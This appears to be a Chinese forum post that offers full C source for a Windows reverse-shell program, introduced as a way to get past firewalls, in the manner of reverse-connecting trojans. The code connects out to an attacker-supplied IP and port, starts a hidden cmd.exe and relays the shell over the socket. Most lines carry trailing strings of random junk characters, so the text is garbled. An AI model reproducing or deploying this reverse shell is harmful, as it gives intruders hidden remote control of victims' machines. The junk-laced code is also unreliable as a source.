这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #3.\j"b
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/* ============================== /7x\;&bc
Rebound port in Windows NT t{6ap +%L
By wind,2006/7 CIEJql?`
===============================*/ X5 j=C]
#include ifvU"l
#include LJj=]_
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#pragma comment(lib,"wsock32.lib") )d:K:YXt
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void OutputShell(); obj!I7
SOCKET sClient; dHq#
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; McP~}"!^
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void main(int argc,char **argv) 6e<^oH
{ Gnk|^i;t
WSADATA stWsaData; A=y"x$%-_
int nRet; vlu$!4I
SOCKADDR_IN stSaiClient,stSaiServer; ]x@~-I )
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if(argc != 3) jWSb5#Pw
{ |Q5+l.%
printf("Useage:\n\rRebound DestIP DestPort\n"); K\aAM;)-
return; JN|VPvjE
} M7vj^mt?
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WSAStartup(MAKEWORD(2,2),&stWsaData); <ZVZ$ZW~D
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P:^=m*d
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stSaiClient.sin_family = AF_INET; KJdzv!l=
stSaiClient.sin_port = htons(0); ; :T9IL
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); .&PzkqWZ
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) kN.B/itvA
{ ^SAq^3^P!
printf("Bind Socket Failed!\n"); @/ k x
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return; ULIFSd Y
} !*_K.1'
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stSaiServer.sin_family = AF_INET; ;iQp7aW{$
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5 < GDW=
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *i@T!O(1)M
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +sRP<as
{ `s%QeAde
printf("Connect Error!"); / gu3@@h
return; hbfsHT
} ;_N"Fdl
OutputShell(); [;FofuZ
} ?@DNsVwb
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void OutputShell() oq. r\r
{ ??(Kwtx{
char szBuff[1024]; ~&KX-AC@
SECURITY_ATTRIBUTES stSecurityAttributes; '?8Tx&}U8
OSVERSIONINFO stOsversionInfo; }[v~&
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2( _=SfQ
STARTUPINFO stStartupInfo; ;`X~ k|7K
char *szShell; YZ**;"<G
PROCESS_INFORMATION stProcessInformation; : u-.T.zZl
unsigned long lBytesRead; )
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^K;hn,R=
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +Vy_9I(4Z
stSecurityAttributes.lpSecurityDescriptor = 0; 0;<OYbm3<
stSecurityAttributes.bInheritHandle = TRUE; cgN>3cE
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Egf^H>,.M
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {R8=}Qo
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^yJ:+m;6K
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vI|As+`$d
stStartupInfo.wShowWindow = SW_HIDE; Hk9U&j$
stStartupInfo.hStdInput = hReadPipe; T>F9Hs W
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /WYh[XKe
dhtb?n{
GetVersionEx(&stOsversionInfo); ]Uh1l.O
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switch(stOsversionInfo.dwPlatformId) c&m9)r~zP
{ 8&."uEOOU
case 1: Dft%ip2
szShell = "command.com"; uw"*zBxl
break; o%qkq K1
default: Ia7D F'
szShell = "cmd.exe"; 7kd|K
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break; OD|1c6+X
} ,ux+Qz5(
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); tl^m=(ZQ
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send(sClient,szMsg,77,0); z mbZ
while(1) @c]Xh:I
{ */_@a?
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Q7(eq0na
if(lBytesRead) eM }W6vIn
{ 8[R1A
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);
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send(sClient,szBuff,lBytesRead,0); '\t7jQ
} O]ZC+]}/
else ]nc2/S%
{ ._,trb>o
lBytesRead=recv(sClient,szBuff,1024,0); KTv4< c]
if(lBytesRead<=0) break; s#P:6]Ar
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); sUciFAb
} _Wma\(3$
} +>#e=nH
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return; $eX*
}